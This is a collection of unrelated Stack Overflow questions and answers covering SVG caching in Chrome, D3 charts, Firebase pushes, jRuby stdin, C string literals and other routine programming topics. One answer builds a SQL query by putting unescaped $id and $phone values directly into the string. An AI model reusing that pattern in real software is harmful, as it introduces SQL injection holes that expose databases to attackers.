19421943	0	Chrome doesn't cache images inside SVG <p>I just discovered that Chrome doesn't cache images which are placed inside SVGs if their <code>cache-control</code> header is set to <code>no-cache</code>. Firefox &amp; IE10 seem to ignore this setting.</p> <p>I've created a little test page with a static SVG:</p> <p>HTML:</p> <pre><code>&lt;div style="width: 500px; text-align: center;"&gt; &lt;input id="move-left-btn" type="button" value="&amp;lt;&amp;lt;"&gt; &lt;input id="move-right-btn" type="button" value="&amp;gt;&amp;gt;"&gt; &lt;/div&gt; &lt;div class="svgwrapper" style="width: 500px; height: 250px; background-color: lightgrey;"&gt; &lt;svg id="svg" version="1.1" xmlns="http://www.w3.org/2000/svg" width="500" height="250"&gt; &lt;g id="svggroup" class="transition-on" transform="matrix(0.2,0,0,0.2,80,35)"&gt; &lt;image width="1672" height="887" opacity="1" xlink:href="https://dl.dropboxusercontent.com/sh/q7htlj5h8qqfhjf/SVDuynM7R3/car.png"&gt;&lt;/image&gt; &lt;/g&gt; &lt;/svg&gt; &lt;/div&gt; </code></pre> <p>Javascript:</p> <pre><code>$(document).ready(function() { var curXPos = 80; // Local test function which represent some server calls in my "real life" scenario // Just updates the x-position in the transform matrix in this test case function updateSvgText(svgText, posXDelta) { curXPos += posXDelta; if (curXPos &lt; 0) { curXPos = 160; } else if (curXPos &gt; 160) { curXPos = 0; } return svgText.replace(/matrix\(.*\)/, 'matrix(0.2,0,0,0.2,' + curXPos + ',35)'); } // Fetch the new SVG (in real life from server) and rerender it function moveSvg(posXDelta) { var svg = $('#svg'), svgText = updateSvgText($('.svgwrapper').html(), posXDelta); svg.empty(); svg.append($(svgText).children()); } $('#move-left-btn').click($.proxy(moveSvg, this, -20)); $('#move-right-btn').click($.proxy(moveSvg, this, 20)); }); </code></pre> <ul> <li><p>Working example with <code>cache-control</code> header of source image set to <code>no-cache</code> (flickers in chrome after every press on the "move" buttons):<br> <a href="http://jsfiddle.net/zF6NF/4/" rel="nofollow">http://jsfiddle.net/zF6NF/4/</a></p></li> <li><p>Same example with different source image with <code>cache-control</code> header set to <code>max-age=315360000,public</code> (no flickering):<br> <a href="http://jsfiddle.net/zF6NF/5/" rel="nofollow">http://jsfiddle.net/zF6NF/5/</a></p></li> </ul> <p>In Chrome you can see the reloading of the images on each button click in the first example ("flickering" of the image &amp; visible in the network tab of the dev tools) whereas Firefox rerenders the SVG in both examples smoothly without any reloading.</p> <p><strong>Some additional information:</strong></p> <ol> <li><p>This is just an example. In my "real-life-scenario" I receive a new SVG from the server (instead of the <code>updateSvgText</code> method call) which means that I can't just perform partial updates of the SVG by changing the value of the transform matrix attribute but have to rerender the whole SVG every time (at least by now...).</p></li> <li><p>I can't control where the images come from which means 2 things:</p> <ul> <li>I can't change the <code>cache-control</code> header</li> <li>I can't create Base64 encoded data-uris, save them locally and just replace the images inside the SVG with those data-uris before rendering (can't create Base64 encoded data-uri because of "Same resource origin" policies...)</li> </ul></li> </ol> <p><strong>Is there any way to either...</strong></p> <ul> <li>Overwrite/overrule the <code>cache-control</code> header locally even if the image is from an uncontrolled remote location?</li> <li>Create the Base64 encoded data-uri from an Image that is loaded from a different domain I don't have any control over client sided?</li> <li>Somehow tell Chrome to always cache images inside my SVGs?</li> </ul> <p>Needless to say that other solutions are also very welcome!</p> <p>Thanks</p>
23566445	0	 <p>if a sharedPreference doesn't exist a NullPointerException will be thrown, so I recommend you manage your code like this :</p> <pre><code>try { //handle the situation where there exists the shared preference } catch(NullPointerException exc) { //handle the situation of non-existent sharedpreference } </code></pre>
35871655	0	What are the available solution for starting and obtaining Selenium server for Jenkins job? <p>I have a Jenkins job to build application and I want to get another VM with Selenium server and browser installed. What are the available solution to do this?</p>
9426815	0	 <p>QtWebkit should be a reasonable choice. You can make a simple application with Qt SDK or QtCreator. You can embedded the HTML/CSS/JS into application within the Qt resource file. Please check the source code below: </p> <pre><code>#include &lt;QtGui/QApplication&gt; #include &lt;QWebView&gt; #include &lt;QNetworkProxy&gt; class MainWin : public QWebView { public: explicit MainWin(QWidget * parent = 0) { m_network = new QNetworkAccessManager(this); // Setup the network proxy when required! //m_network-&gt;setProxy(QNetworkProxy(QNetworkProxy::HttpProxy, "10.1.1.80", 80)); page()-&gt;setNetworkAccessManager(m_network); // You can use the internal HTML/Javascrip/CSS by // specify qrc:// URLs refer to resources. See resource.qrc QUrl startURL = QUrl("http://www.google.com"); // Load web content now! setUrl(startURL); } private: QNetworkAccessManager * m_network; }; int main(int argc, char *argv[]) { QApplication a(argc, argv); MainWin w; w.show(); return a.exec(); } </code></pre> <p>This is a working example with a window frame! <img src="https://i.stack.imgur.com/akO4C.png" alt="Look like this!"> It is working just as a browser. </p>
17728971	0	 <pre><code>$query = "SELECT name FROM #table WHERE id=$id"; if(isset($phone)){ $query .= " AND phone = '$phone'"; } </code></pre>
39994056	0	 <p>You are appending the same class : <code>color-9999CC</code> to all your <code>rect</code> elements, so once you hover the last legend item having color : <code>#9999CC</code> all <code>rect</code> element will be selected.</p> <p>To create the required class properly, you can add the corresponding color info to each element in your <code>layers</code> object while creating it.</p> <p>I added a <code>color</code> property that has as value the color of the corresponding <code>headers</code> item:</p> <pre><code>var layers = d3.layout.stack()( headers.map(function (count) { return fData.map(function (d,i) { return { x: d.orders, y: +d[count] , color: colorScale(count)}; /*color = current headers item color */ }); })); </code></pre> <p>Then while creating your <code>rect</code> items you can add to each element a class by accessing its color property like this: </p> <pre><code>var rect = layer.selectAll("rect") .data(function (d) { return d; }) ..... .attr("class", function (d) { return "rect bordered " + "color-" +d.color.substring(1); }); </code></pre> <h3>complete code:</h3> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var margin = {top:10, right: 10, bottom: 80, left: 50}, width =960, height=650; var svg = d3.select("body") .append("svg") .attr("width", width + margin.left + margin.right) .attr("height", height + margin.top + margin.bottom) .append("g") .attr("transform", "translate(" + margin.left + "," + margin.top + ")"); var fData = [{"orders":"A","Total_Orders":76,"A_Lines":123,"B_Lines":0,"C_Lines":0,"D_Lines":0,"Total_Lines":123,"Total_Units":3267}, {"orders":"B","Total_Orders":68,"A_Lines":0,"B_Lines":107,"C_Lines":0,"D_Lines":0,"Total_Lines":107,"Total_Units":3115}, {"orders":"C","Total_Orders":81,"A_Lines":0,"B_Lines":0,"C_Lines":123,"D_Lines":0,"Total_Lines":123,"Total_Units":3690}, {"orders":"D","Total_Orders":113,"A_Lines":0,"B_Lines":0,"C_Lines":0,"D_Lines":203,"Total_Lines":203,"Total_Units":7863}, {"orders":"AB","Total_Orders":62,"A_Lines":70,"B_Lines":76,"C_Lines":0,"D_Lines":0,"Total_Lines":146,"Total_Units":1739}, {"orders":"AC","Total_Orders":64,"A_Lines":77,"B_Lines":0,"C_Lines":79,"D_Lines":0,"Total_Lines":156,"Total_Units":2027}, {"orders":"AD","Total_Orders":100,"A_Lines":127,"B_Lines":0,"C_Lines":0,"D_Lines":144,"Total_Lines":271,"Total_Units":6467}, {"orders":"BC","Total_Orders":64,"A_Lines":0,"B_Lines":80,"C_Lines":84,"D_Lines":0,"Total_Lines":164,"Total_Units":1845}, {"orders":"BD","Total_Orders":91,"A_Lines":0,"B_Lines":108,"C_Lines":0,"D_Lines":135,"Total_Lines":243,"Total_Units":4061}, {"orders":"CD","Total_Orders":111,"A_Lines":0,"B_Lines":0,"C_Lines":132,"D_Lines":147,"Total_Lines":279,"Total_Units":5011}, {"orders":"ABC","Total_Orders":45,"A_Lines":58,"B_Lines":63,"C_Lines":55,"D_Lines":0,"Total_Lines":176,"Total_Units":1245}, {"orders":"ABD","Total_Orders":69,"A_Lines":105,"B_Lines":87,"C_Lines":0,"D_Lines":116,"Total_Lines":308,"Total_Units":4538}, {"orders":"ACD","Total_Orders":66,"A_Lines":91,"B_Lines":0,"C_Lines":88,"D_Lines":132,"Total_Lines":311,"Total_Units":4446}, {"orders":"BCD","Total_Orders":68,"A_Lines":0,"B_Lines":84,"C_Lines":95,"D_Lines":111,"Total_Lines":290,"Total_Units":4187}, {"orders":"ABCD","Total_Orders":56,"A_Lines":96,"B_Lines":90,"C_Lines":93,"D_Lines":143,"Total_Lines":422,"Total_Units":6331}] var headers = ["A_Lines", "B_Lines", "C_Lines", "D_Lines"]; var colors = ["#9999CC", "#F7A35C", "#99CC99", "#CCCC99"]; var colorScale = d3.scale.ordinal() .domain(headers) .range(colors); var layers = d3.layout.stack()( headers.map(function (count) { return fData.map(function (d,i) { return { x: d.orders, y: +d[count] , color: colorScale(count)}; }); })); //StackedBar Rectangle Max var yStackMax = d3.max(layers, function (layer) { return d3.max(layer, function (d) { return d.y0 + d.y; }); }); // Set x, y and colors var xScale = d3.scale.ordinal() .domain(layers[0].map(function (d) { return d.x; })) .rangeRoundBands([25, width], .08); var y = d3.scale.linear() .domain([0, yStackMax]) .range([height, 0]); // Define and draw axes var xAxis = d3.svg.axis() .scale(xScale) .tickSize(1) .tickPadding(6) .orient("bottom"); var yAxis = d3.svg.axis() .scale(y) .orient("left") .tickFormat(d3.format(".2s")) var layer = svg.selectAll(".layer") .data(layers) .enter().append("g") .attr("class", "layer") .style("fill", function (d, i) { return colorScale(i); }); var rect = layer.selectAll("rect") .data(function (d) { return d; }) .enter().append("rect") .attr("x", function (d) { return xScale(d.x); }) .attr("y", height) .attr("width", xScale.rangeBand()) .attr("height", 0) .attr("class", function (d,i) { return "rect bordered " + "color-" +d.color.substring(1); }); layer.selectAll("text.rect") .data(function (layer) { return layer; }) .enter().append("text") .attr("text-anchor", "middle") .attr("x", function (d) { return xScale(d.x) + xScale.rangeBand() / 2; }) .attr("y", function (d) { return y(d.y + d.y0) - 3; }) .text(function (d) { return d.y + d.y0; }) .style("fill", "4682b4"); //********** AXES ************ svg.append("g") .attr("class", "x axis") .attr("transform", "translate(0," + height + ")") .call(xAxis) .selectAll("text").style("text-anchor", "end") .attr("dx", "-.8em") .attr("dy", ".15em") .attr("transform", function (d) { return "rotate(-45)" }); svg.attr("class", "x axis") .append("text") .attr("text-anchor", "end") // this makes it easy to centre the text as the transform is applied to the anchor .attr("transform", "translate(" + (width / 2) + "," + (height + 60) + ")") // centre below axis .text("Order Velocity Group"); svg.append("g") .attr("class", "y axis") .attr("transform", "translate(20,0)") .call(yAxis) .append("text") .attr("transform", "rotate(-90)") .attr({ "x": -75, "y": -70 }) .attr("dy", ".75em") .style("text-anchor", "end") .text("No. Of Lines"); //********** LEGEND ************ var legend = svg.selectAll(".legend") .data(headers) .enter().append("g") .attr("class", "legend") .attr("transform", function (d, i) { return "translate(" + (headers.length-(i+1))*-100 + "," + (height + 50) + ")"; }); legend.append("rect") .attr("x", width - 18) .attr("width", 18) .attr("height", 18) .style("fill", function (d, i) { return colors[i]; }) .on("mouseover", function (d, i) { svg.selectAll("rect.color-" + colors[i].substring(1)).style("stroke", "blue"); }) .on("mouseout", function (d, i) { svg.selectAll("rect.color-" + colors[i].substring(1)).style("stroke", "white"); }); legend.append("text") .attr("x", width - 24) .attr("y", 9) .attr("dy", ".35em") .style("text-anchor", "end") .text(function (d) { return d; }); transitionStacked(); function transitionStacked() { y.domain([0, yStackMax]); rect.transition() .duration(500) .delay(function (d, i) { return i * 10; }) .attr("y", function (d) { return y(d.y0 + d.y); }) .attr("height", function (d) { return y(d.y0) - y(d.y0 + d.y); }) .transition() .attr("x", function (d) { return xScale(d.x); }) .attr("width", xScale.rangeBand()); };</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.3.0/d3.min.js"&gt;&lt;/script&gt; &lt;body&gt;&lt;/body&gt;</code></pre> </div> </div> </p>
15917652	0	 <p>When you receive the data in the ReadCallback, you then (even if you haven't received all the data you are expecting) call Send(), which then does an async send, in the send callback you then call Send() again, this, I think, is what you mean by spamming the client, as this will just loop around sending the same thing to the client over and over.</p> <p>I suggest you check what you have received in the first place, it's entirely possible that the call to receive won't return all the data you are expecting in one go. Then don't call Send in the SendCallback if you don't want to send the data to the client again.</p> <p>Oh, and remove the calls to shutdown and close the socket...</p>
28533018	0	How to push data with multiple types in Firebase? <p>I want to push an array that has strings, numbers and date. Do I have to update individually or is there another way I can accomplish this?</p> <p>Example:</p> <pre><code>var categories : [String] = self.parseCategories() var standbyDataStrings = [ "firstName":firstName, "lastName":lastName, "categories": categories, "time_stamp":self.date.timeIntervalSince1970 ] var standbyDataNums = [ "radius":nf.numberFromString(self.helpRadiusLabel.text!), "duration":nf.numberFromString(self.helpDurationLabel.text!) ] standbyUserRef.updateChildValues(standbyDataStrings) standbyUserRef.updateChildValues(standbyDataNums) // this gives me a error "string is not identical to NSObject" </code></pre> <p>Combining standByDataStrings and standbyDataNums gives me an error.</p> <p>Or is there a way to retrieve a string from Firebase and using it as an int. It gets stored as a String with the quotations.</p>
32340754	0	 <p>Try utilizing <code>css</code> selectors <code>#one:hover, #two:hover, #three:hover</code> , <code>:hover</code> pseudo-class, <code>transition</code> . See also <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity" rel="nofollow">Specificity</a></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8" /&gt; &lt;title&gt;Testing jQuery&lt;/title&gt; &lt;style type="text/css"&gt; div { width: 400px; height: 300px; margin: 20px; float: left; } #one { background-color: red; } #two { background-color: green; } #three { background-color: blue; } #one:hover, #two:hover, #three:hover { height: 150px; background-color:rgba(0,0,0,0.4); transition: height 1000ms, background-color 1000ms; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="one"&gt;&lt;/div&gt; &lt;div id="two"&gt;&lt;/div&gt; &lt;div id="three"&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p>
34829241	0	 <p>According to the Molliza Developer Network <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta" rel="nofollow">documentation</a>:</p> <blockquote> <p>The HTML <code>&lt;meta&gt;</code> element represents any metadata information that cannot be represented by one of the other HTML meta-related elements (<code>&lt;base&gt;</code>, <code>&lt;link&gt;</code>, <code>&lt;script&gt;</code>, <code>&lt;style&gt;</code> or <code>&lt;title&gt;</code>).</p> </blockquote> <p>Charset (Character set) is a set of encodings used to represent characters to the screen. UTF-8 is a specific type capable of encoding all possible characters, or code points, in <a href="https://en.wikipedia.org/wiki/Unicode" rel="nofollow">Unicode</a>.</p> <blockquote> <p>Q: In the above code what is the meaning of <code>&lt;meta charset="utf-8"/&gt;</code>?</p> </blockquote> <p>Adding this attribute declares, but don't guarantee the character encoding used for that specific web document.</p> <blockquote> <p>Q: If i remove it from the code, there is no error.</p> </blockquote> <p>Remember when I said there was no guarantee in the previous sentence? This is because the <code>&lt;meta ..&gt;</code> tag is only part of the algorithm that browsers use to apply. Again, referencing the mozilla docs, <em>The HTTP Content-Type header and any BOM elements have precedence over this element</em>. For a more comprehensive understanding, see <a href="https://html.spec.whatwg.org/multipage/syntax.html#encoding-sniffing-algorithm" rel="nofollow">whatwg.org</a>.</p> <p>You may ask then what is the point of implementing that line at all if the browser can perform shallow reasoning to include the charset encoding by default. The answer is simple:</p> <ul> <li>More assertive programming.</li> <li>Better practice.</li> <li>The browser may get it wrong.</li> <li>Prevents <a href="https://code.google.com/p/doctype-mirror/wiki/ArticleUtf7" rel="nofollow">IE guessing it is encoded in UTF-7</a>.</li> </ul>
37664314	0	 <p>I'm not quite sure what you want to do. Do you help aligning the divs in a row or vertically aligning the image in its own row? If the latter, you want to use vertical-align (<a href="http://www.w3schools.com/cssref/pr_pos_vertical-align.asp" rel="nofollow">http://www.w3schools.com/cssref/pr_pos_vertical-align.asp</a>).</p>
31866677	0	 <p>If not using NLTK I would go for recognizing specific suffixes to see what is where. Just a layout.</p> <p>So, split a sentence to words and see which words ends with "ed", "ing", "tion", "ay" "et" "ct" "ee" "ly" "ful" "less" "ness" etc.</p> <p>And short forms "n.t" ".ve" "'re" "'d"...</p> <p>Support this with some light weight dictionary like CMUDict which only contains words and their respective pronounciations.</p> <p>Have somewhere a list of irregular verbs and usual forms like "am" "is" "are" "was" "were" "have" "has" "will" "shall" "do" "does" "did" and their negatives.</p> <p>With this system you can see whether you got an English word at all.</p> <p>From its suffix and position in the sentence you can pretty well guess its role in the sentence.</p> <p>Otherwise, even if you have separate lists of verbs and nouns it is usually hard to tell (only by looking at this word) whether it is noun or a verb. So you will have to have a context manager in any case. (If you want your guesses to be 98% correct).</p> <p>Search for any English dictionary (if you would not use CMUDict) and parse it for your use.</p> <p>Don't do it online! It will be slow and there is big amount of other problems that may appear, including inconsistent returns and connection problems.</p>
12188339	0	Java write to Stdin <p>So I have imported a jruby interpreter as a library to run an external ruby application. However I need to interact with the ruby application in some way. Right now I have the ruby application outputting information on stdout and requesting user options in stdin.</p> <p>So if I want java to be able to handle inserting the options instead of a user, I'll need a way that I can write to the stdin somehow from java to choose the options. Does anyone know how I can do this? Or even a better way to do this?</p> <p>I'm calling jruby like so:</p> <pre><code>String[] newargs = new String[2]; newargs[0] = "-S"; newargs[1] = "path_to_some_rubyfile.rb" org.jruby.Main jruby = new org.jruby.Main(); ruby.main(newargs); </code></pre> <p>The ruby app outputs stuff like this:</p> <pre><code>How do you feel today? (1) Happy (2) Sad </code></pre> <p>And then waits for the user input to enter 1 or 2. But I would like Java to input these options instead of having a user do it.</p>
8187736	0	 <pre><code>SELECT e.LastName, e.DepartmentID, d.DepartmentName FROM Employee e INNER JOIN Department d ON d.DepartmentID = e.DepartmentID WHERE d.DepartmentID = 31 </code></pre>
38202835	0	 <p>Try this:</p> <p>Start by casting <code>destinationViewController</code> to <code>UITabBarController</code> and then using the <code>viewControllers</code> property to access the first viewController in the tabBarController:</p> <pre><code>override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) { let tabVc = segue.destinationViewController as! UITabBarController let navVc = tabVc.viewControllers!.first as! UINavigationController let chatVc = navVc.viewControllers.first as! ChatViewController chatVc.senderId = userID chatVc.senderDisplayName = "" } </code></pre>
3115909	0	How to design a flash based website when user has different screen size and different resolution? <p>I am developing a flash based website using mxml. My monitor's resolution is 1280x768 and is widescreen. The problem is while it appears properly in my screen it doesn't appear properly in others. Which is the best approach to solve the problem ? </p> <p>I have 2 in mind. </p> <blockquote> <ol> <li>Let scrollbars take care of it : If the screen is 14 inch screen with 800x600 resolution it appears zoomed in. So thats a problem</li> <li>Get screen resolution and resize using scaleX and scaleY : The graphic components will get resized but fonts give problem.</li> </ol> </blockquote> <p>Which is the best approach among these ? If there is a better approach please mention. Thanks</p>
32034136	0	 <p>You just need a negative condition in your RewriteRule to allow specific directory or path:</p> <pre><code>RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule !^assets(/.*)?$ router.php [L,NC] </code></pre>
14338792	0	 <p>Unless you are doing something really special with it, you should not directly read the <code>app.config</code> file, but use <a href="http://msdn.microsoft.com/en-us/library/system.configuration.configurationmanager.aspx" rel="nofollow"><code>ConfigurationManager</code></a> class to read from it. If you really want to read it as XML, use <a href="http://msdn.microsoft.com/it-it/library/875kz807.aspx" rel="nofollow">XmlDocumen.Load()</a> function, but plaease keep in mind that parsing config as an XML file is an unintended way of use.</p>
8555959	0	 <p>This constructor is used in another class. In this case it looks like you're trying to make a "point on a graph" so with that assumption in another class you would use this constructor to make an instance of the Point class.</p> <pre><code>public class Example { private Point pt; public static void main(String[]args) { pt = new Point(20,10); } } </code></pre> <p>This example creates a new instance of the Point class where x is 20 and y is 10.</p>
26314758	0	 <p><strong>this could be easily done with just editing your css</strong></p> <pre><code>$('.clampjs').click( function() { $(this).css({ //changes the css of the clicked content. 'height':'100px', //give what ever height you want. 'overflow':'hidden' }); }); </code></pre> <p>just now tested in my page it works...</p>
26568666	0	HDF5 Database Design Lookup Tables vs storage of redundant data <p>I've worked on several fairly small scale legacy HDF5 databases and each one utilizes grouping to perform lookups. For example as a contrived example lets say I have one 2 dimensional dataset where each cell maps back to a group which may store another dataset which holds the data which corresponds with the ID contained in the original dataset. This is fine but one project basically utilizes hdf5 in a relational database type system. (dataset contains value for group to open -> Group contains attributes which tell me the name of dataset to open -> finally get to data)</p> <p>Since hdf5 has builtin compression would it make more since to store redundant data (say in compound datatypes).</p> <p>Granted it depends on the requirements/complexity of the data, but just in general is it bad practice to store redundant data in HDF5? </p>
23483538	0	 <p>would a php only solution work for you?</p> <pre><code> function list_directories($dir){ $temp_dir = $_SERVER['DOCUMENT_ROOT'].$dir; if (is_link($dir)) { echo "do nothing"; } else { $pattern = '/./'; $bad = array(".", "..", ".DS_Store", "Thumbs.db", ".svn", ".git"); $class = 'dir'; $contents = scandir($temp_dir,1); $files = array_diff($contents, $bad); krsort($files); echo "&lt;ul&gt;"; foreach($files as $item){ $file_extension = strtolower(substr(strrchr($item,"."),1)); echo "&lt;li&gt;&lt;a href='http://".$_SERVER['SERVER_NAME'].$dir.$item."'&gt;".$item."&lt;/a&gt;&lt;/li&gt;"; } echo "&lt;/ul&gt;"; } } </code></pre>
11286379	0	 <pre><code>int main () { char *arr= "abt"; // This could be OK on some compilers ... and give an access violation on others arr++; *arr='e'; // This is where I guess the problem is occurring. cout&lt;&lt;arr[0]; system("pause"); } </code></pre> <p>In contrast:</p> <pre><code>int main () { char arr[80]= "abt"; // This will work char *p = arr; p++; // Increments to 2nd element of "arr" *(++p)='c'; // now spells "abc" cout &lt;&lt; "arr=" &lt;&lt; arr &lt;&lt; ",p=" &lt;&lt; p &lt;&lt; "\n"; // OUTPUT: arr=abc,p=c return 0; } </code></pre> <p>This link and diagram explains "why":</p> <blockquote> <p><a href="http://www.geeksforgeeks.org/archives/14268" rel="nofollow">http://www.geeksforgeeks.org/archives/14268</a></p> <p><em>Memory Layout of C Programs</em></p> <p>A typical memory representation of C program consists of following sections.</p> <ol> <li>Text segment</li> <li>Initialized data segment</li> <li>Uninitialized data segment</li> <li>Stack</li> <li>Heap</li> </ol> <p>And a C statement like const char* string = "hello world" makes the string literal "hello world" to be stored in initialized read-only area and the character pointer variable string in initialized read-write area.</p> </blockquote>
28365666	0	angular-file-upload is not posting anything <p>I am trying to use angular-file-upload. The file is being sent from the view to the angular controller but it is not sending anything to the apiController. I have made a plunker. </p> <p><a href="http://plnkr.co/edit/lGjgTIeVZdgxcS2kaE7p?p=preview" rel="nofollow">Plunker</a></p> <p>It drops the file at </p> <pre><code>$scope.upload = function (files) { $scope.$watch('files', function () { $scope.upload($scope.files); }); $scope.upload = function (files) { if (files &amp;&amp; files.length) { for (var i = 0; i &lt; files.length; i++) { var file = files[i]; $upload.upload({ url: 'https://angular-file-upload-cors-srv.appspot.com/upload', fields: { 'companyName': $scope.companyName }, file: file }).progress(function (evt) { var progressPercentage = parseInt(100.0 * evt.loaded / evt.total); console.log('progress: ' + progressPercentage + '% ' + evt.config.file.name); }).success(function (data, status, headers, config) { console.log('file ' + config.file.name + 'uploaded. Response: ' + data); }); } } }; </code></pre> <p>Update</p> <p>I see how your success function is being hit. mine still is not. and there is no javascript errors in my console. what can i do to debug it?</p>
27055907	0	 <p>You cannot get the data from grid for searching, you need to store you data some where for using search. That is to store in a ViewState, Session or call DataBase on every search. Bellow code show data stored in a ViewState, you can acces your data any time by just using GridViewData where you can done search. (if you have very large amount of data first preference is calling data from database on every search.)</p> <pre><code>protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { GridView1.DataSource = GridViewData; GridView1.DataBind(); } } public DataSet GridViewData { get { if (ViewState["GridViewData"] == null) { String str = "select * from tblEmployee where (Name like '%' + @search + '%')"; SqlCommand xp = new SqlCommand(str, objsqlconn); xp.Parameters.Add("@search", SqlDbType.NVarChar).Value = TextBox1.Text; objsqlconn.Open(); xp.ExecuteNonQuery(); SqlDataAdapter da = new SqlDataAdapter(); da.SelectCommand = xp; DataSet ds = new DataSet(); da.Fill(ds, "Name"); objsqlconn.Close(); ViewState["GridViewData"] = ds; } return (DataSet)ViewState["GridViewData"]; } } </code></pre>
1568664	0	 <p>Assuming that:</p> <ul> <li>You can keep copies of the original and end data on both your field devices and your base system</li> <li>When you talk about swaps, you mean two items in the list are swapped with one another</li> </ul> <p>Your best solution is probably:</p> <p>Rather than keeping a list of all the swaps you do as they are performed, compare your starting and finishing data at the end of the day, and then generate the swaps you would need to make that change. This would ignore any locations in the list that remain unchanged, even if they are only unchanged because a series of swaps "undid" some change. If you have your data take the form of <code>a,b,a,b,...</code> where <code>a</code> tells you the index of the next elements to leave in the same order they're in, and <code>b</code> tells you the index of the item to swap it with.</p> <p>Because you're only doing swaps instead of shifts, you should very rarely end up with data like your sample data where 30, 40, and 50 are in the same order but in a slightly different location. Since the number of swaps will be between 1/4 and 1/10 the number of original items in the list, you'll usually have a big chunk of your data in both the same order and the same location it was in originally. Let's assume the following swaps were made:</p> <pre><code>1 &lt;-&gt; 9 4 &lt;-&gt; 2 5 &lt;-&gt; 2 </code></pre> <p>The resulting list would be:</p> <pre><code> 1. 90 2. 50 3. 30 4. 20 5. 40 6. 60 7. 70 8. 80 9. 10 </code></pre> <p>So the change data could be represented as:</p> <pre><code> 1,9,2,4,4,5 </code></pre> <p>That's only six values, which could be represented as 16-bit numbers (assuming you won't have over 16,000 items in your initial list). So each "effective" swap could be represented with a single 32-bit number. And since the number of actual swaps will generally be 1/5 to 1/2 the size of the original list, you'll end up sending between 10% and 20% of the data in your original list over the wire (or less since the number of "effective" swaps may be even less if some of those swaps undo one another).</p>
26222063	0	 <p>Take a look at <a href="https://github.com/gettyimages/connect_sdk_java" rel="nofollow">https://github.com/gettyimages/connect_sdk_java</a>. Specifically, at the test application. It performs a search using an AsyncTask and the private class notifies the UI via onPostExecute. Hopefully, this will get you further along.</p>
6675678	0	 <p>Here:</p> <pre><code>$('.someClass').live('click',function(){ // Handle here }) </code></pre>
30607796	0	 <p>I may be completely off since I don't do a lot of work with unicode, but it seems to me that the following should work:</p> <pre><code>import csv with open('test.csv', 'ur') as csvin, open('test-write', 'uw') as csvout: reader = csv.DictReader(csvin) writer = csv.DictWriter(csvout, fieldnames=['Indv', 'AttrName', 'AttrValue', 'Start', 'End']) for row in reader: for traitnum in range(1, 4): key = "trait{}".format(traitnum) writer.writerow({'Indv': row['email'], 'AttrName': key, 'AttrValue': row[key]}) </code></pre>
32367825	1	Unbound method must be called with instance as first a <p>So, I have a class, where a class variable is set to the output from a class factory in the <code>__init__</code> method, like so:</p> <pre><code>def MyFooFactory(): def __init__(self, *args): # Do __init__ stuff def MyBar(myFoo_obj): print "MyBar" newclass = type("MyFoo", tuple(object), {"__init__": __init__, "MyBar": MyBar} ) return newclass class Foo: Bar = 0 def __init__(self): if (type(Foo.Bar) is int): Bar = MyFooFactory() def MyBar(a_list): for l in a_list: Bar.MyBar(l) </code></pre> <p>However, when I try this</p> <pre><code>myBar_list = [Foo.Bar() for _ in range(x)] Foo.MyBar(myBar_list) </code></pre> <p>TypeError: unbound method MyBar() must be called with Foo instance as first argument (got list instead)</p> <p>Is this happening because <code>MyBar</code> has the same name in both <code>Foo</code> and <code>MyFoo</code> or is there something else afoot here?</p> <p>For reference, both <code>MyBar</code> methods are supposed to be unbound.</p> <p>Thanks,</p>
17673960	0	 <p>Try this .htaccess code :</p> <pre><code>RewriteEngine on RewriteRule ^search+(.*)$ /search.php?s=$1 </code></pre>
12334738	0	 <p>There is a warning on the <a href="https://developers.facebook.com/docs/reference/rest/" rel="nofollow">facebook</a> website,</p> <blockquote> <p>We are in the process of deprecating the REST API. If you are building a new Facebook app, please use the <a href="https://developers.facebook.com/docs/reference/api/" rel="nofollow">Graph API</a>. While there is still functionality that we have not ported over yet, the Graph API is the center of Facebook Platform moving forward and where all new features will be found.</p> </blockquote> <p>And according to <a href="http://stackoverflow.com/questions/5053723/how-do-i-send-sms-messages-through-graph-api">this</a> and <a href="http://stackoverflow.com/questions/5524694/sms-through-facebook-graph-api">that</a> Stackoverflow questions, there is no implementation available right now.</p>
20371955	0	 <p>Just make the value a <code>String</code> by concatenating an empty <code>String</code>:</p> <pre><code>function getObjects(obj, key, val, path) { var value = val + ""; for (var prop in obj) { if (prop == key &amp;&amp; obj[key].toLowerCase().match(value)) { result.push(passName); matchFlag = 1; } } } </code></pre>
14949577	0	How to save append item, if we do page refresh in jquery? <p>i want to append few line of html and that's remains as same if we do page refresh</p> <p>how could i do that</p> <p>code is :</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt; &lt;/script&gt; &lt;script&gt; $(document).ready(function () { $("#btn2").click(function () { $("ol").append("&lt;li&gt;Appended item&lt;/li&gt;"); }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;This is another paragraph.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;List item 1&lt;/li&gt; &lt;li&gt;List item 2&lt;/li&gt; &lt;li&gt;List item 3&lt;/li&gt; &lt;/ol&gt; &lt;button id="btn2"&gt;Append list item&lt;/button&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
